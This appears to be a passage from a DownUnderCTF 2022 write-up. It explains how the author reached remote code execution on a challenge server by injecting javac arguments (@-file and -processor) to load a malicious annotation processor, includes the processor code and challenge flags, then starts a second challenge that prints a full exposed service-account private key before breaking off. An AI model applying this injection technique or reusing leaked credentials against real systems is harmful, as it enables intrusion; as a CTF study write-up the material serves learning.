# DUCTF{alternative_solution_was_just_to_crack_the_hash_:p}

Uni of Straya - Part 3

Using the /proc/self/cwd trick from Part 2, you can find the server's entry point in /proc/self/cwd/main.py. Following its imports to guess other file names (including __init__.py), you can dump the entire server's source code.

Since the goal is RCE, you need to find suspicious parts in the source code. Quickly, you can find that the assessment has a mysterious java-underdevelopment type, allowing you to upload an archive (tar/zip) and then check if the uploaded Java files are valid (compilable).

def check_java_is_valid(folder)->bool:
    class_files = list_files(folder, allowed_ext=".java")

    temp_output = os.path.join("/", "tmp", "java", os.urandom(8).hex())
    os.makedirs(temp_output, exist_ok=True)
    old_cwd = os.getcwd()
    os.chdir(folder)

    # Using subprocess.run prevents any command injection students could exploit
    try:
        returned_code = subprocess.run(["/usr/bin/javac", "-d", temp_output]+class_files)
    except:
        return False
    finally:
        os.chdir(old_cwd)
    
    return returned_code == 0

The list_files function is a simple recursive search for .java files. Since it uses subprocess.run, there's no command injection as the comment says. However, although there's no command injection, if the filename starts with a dash (-), it can achieve arguments injection.

First, determine the Java version. I guessed the remote system is Debian-based and tried reading paths like /usr/lib/jvm/java-11-openjdk-amd64/bin/java to see if the file exists. So, I knew the remote uses OpenJDK 11.

Using javac -help, you can see an interesting flag -processor that allows specifying a class as a processor. Processors seem related to annotations, but as long as they can execute, it's fine. Referring to online examples, I wrote this processor Pwn.java:

import java.util.Set;

import javax.annotation.processing.AbstractProcessor;
import javax.annotation.processing.ProcessingEnvironment;
import javax.annotation.processing.RoundEnvironment;
import javax.annotation.processing.SupportedAnnotationTypes;
import javax.annotation.processing.SupportedSourceVersion;
import javax.lang.model.SourceVersion;
import javax.lang.model.element.TypeElement;

@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_11)
public class Pwn extends AbstractProcessor {
    @Override
    public synchronized void init(ProcessingEnvironment env) {
        System.out.println("pwned");
        System.exit(0);
    }

    @Override
    public boolean process(Set<? extends TypeElement> annotations, RoundEnvironment roundEnv) {
        System.out.println(roundEnv.processingOver());
        System.out.println(roundEnv.getRootElements());
        System.out.println(annotations);
        return false;
    }
}

After compiling with javac Pwn.java, running javac Hello.java -processor Pwn shows a Pwned message, indicating it executed.

Next, find a way to use arguments injection to execute this parameter. Simply using -processorPwn or -processor:Pwn doesn't work, but -help shows that javac can accept an @filename parameter to read additional parameters or file lists from filename.

So, I created an empty @config.java and another config.java with -processor Pwn. Running javac Hello.java @config.java shows the Pwned message. However, there's another problem: list_files includes config.java, resulting in javac Hello.java config.java @config.java, causing a compile error due to syntax error.

There are two solutions: create a polyglot for Java and javac config files, but I failed after trying several methods. So, I tried the second method: arguments injection. The -help shows a -A parameter that accepts anything without error. Combining this with the previous method:

Create an empty @-Aconfig.java and -Aconfig.java with -processor Pwn. Running javac Hello.java -Aconfig.java @-Aconfig.java works because -A prevents it from being treated as a file to compile, and @-Aconfig.java still reads the processor parameter, showing the Pwned message.

So, tar these files, upload them, and manually specify java-underdevelopment to achieve RCE. Write a reverse shell in Pwn.java. After receiving the shell, run getfinalflag to see the final flag: DUCTF{d15_1s_s0m3_gTf0B1N5_m4T3r1aL!1!}.

Additionally, the author's writeup has a different solution for the third part, which is also worth checking out.

misc

Jimmy Builds a Kite

The challenge provides https://jimmys-big-adventure.storage.googleapis.com/index.html. Accessing / shows a file list, including flag.txt, which is inaccessible, and another interesting file credentials.json:

{
  "type": "service_account",
  "project_id": "downunderctf-2022-chal-mjb",
  "private_key_id": "9bc78a902cdbd50a4b82b6c0e352ea19e93b95ac",
  "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQXTgINV9XygkE\nUeVDX1LsU55VLbSrQRXVoPAwU4GNt+yuuj2wq2Zj5bAj5aCn8lahKXWlsPCsi7dF\nEpc2FmPzq41hxb1oBZUZEHjVik5NB+Vly1HbfSIt+qdIe98q3eRzfZXAItPTtfZM\n2Tn86aYpZ1dUTCo+jnvoAsEW5yEcmbZFkjB2lUZBVViwYsDiGe7JXgjQKrzanwZ3\n6GEz0hAQ5dy3TF1ZWaU+OJtI3OfA1K7GZzhHkSYkgEXCs3sWBuBRKtokh63R4iUd\npytvfBIwV6UOGiRZllZHl2+NSPYIjZ+fRLKPfvaWLKA2aqhe6NQCmOtnUT2lEFI9\n24vFGd47AgMBAAECggEAUOpqiJGFgZelccaF9Ghv0PPWEHkL6NeBLbFupS3AqXLs\nGJyduV6OiCvZ/868WYw8RSDPHbW9eRxW4x2JmEkQrr+Hy5jZaayFTrL9YdvwdWyk\nEqhnFQgevmFRFk54h3KdNZZnEbLUtSo8SHKxWLy5uOl3WfasDxgRGTP8nTLLwolh\nIhUPzI6gaSH2aWj32aENpXFUp520LU8bpAEfdls5IUbEt73QABT8stl4U71526d8\nQS8XsRXJq14g5NZCxlWX1t+i75Uv94ERKYMUQ4Zea2qc8scB3KVOcUfxYgBkDlOc\nKx601/aPbbOxo/SuHy5e0Shd9igiKB8AlnD4pDg2aQKBgQD2jcSPhFHYy0lGudea\nd+ZIwWzl13UnSk9t6wthjM+rxaPIhxGMnyOY31Hm4435AQKkL8fHTvbX4QWMhrsc\nMMhRwha1BPtpqp4vKxCWtDO8NRlMXubbn2FYECszlMNkcIE6IVfJxL3cOdjIwYc4\nsheKBxboOT/1syV9FOz0U7BtYwKBgQDYWOHIVxfMUUYO8RKjgR8e9Q6P/mTYRKQj\n32w6/TX8/FVOY1+EavVblHUPKeiNwvhudHMk0xvnrtfo/6BSA6nPvWjU23gXyZFl\ncq3HWJrfmOOK4OvPcAHLC/rw5d6+cZUGPkzUck3BZLr4cA1OEfktTLcbNcWD8/AB\nerGigCyvSQKBgEz12bpWulmqsvfRwNwluwtQ3VYtWBNonbyY1tefZZ+ftM0+ZBr5\n/dmVM/KXa1SjnRh1Fa5AFssyIVJJKBTXoV/r7ryYjoXgTTo5/hacr117UadGJFe/\nu1oKygFy2T7740qq58VClWUt5V5dEoF/Ddv29I6OeEmQnw4ZPxHRIcwzAoGASTTK\nMaBGzTwzGJs6U1k9zpvdcZwDQ6r2X60aUlucCR7ZPs0hZQ1MONDjS15C8rUmmzmM\nPMmyh5MCPDVDan0S2NiewGgDGwl5yXokk2/H+CEj3bp+EJM2CB7lqt4doRON+a7b\nEIgdB3OuUKKZ3fD2//0VeH+Zdiz06Ys60GHOvQECgYEA13F9MZgDiKK3MgZ4fhaH\nhAkayvz+i0c0yEsmdWk4Ltd/VstmL8FqNwUvVtkpV7Oz3pPW6FkJJAwMVvNl2eMD\nucYx7g3sdqRhWmdn4mKowq2fc4wM3x5drcjiAxL+RcBVR6H9wA9bQuebRJCpIEkG\nGG0RU2gTUaZao3xrrfXLUDE=\n-----END PRIVATE KEY-----\n",
  "client_email": "buildkite-agent@downunderctf-2022-chal-mjb.iam.gserviceaccount.com",
  "client_id": "111935028215153567724",
  "auth_uri": "https://accounts.google.com/o/oauth2/auth",
  "token_uri": "https://oauth2.googleapis.com/token",
  "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
  "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/buildkite-agent%40downunderctf-2022-chal-mjb.iam.gserviceaccount.com"
}

It looks very suspicious. Googling reveals that you can import it using `gcloud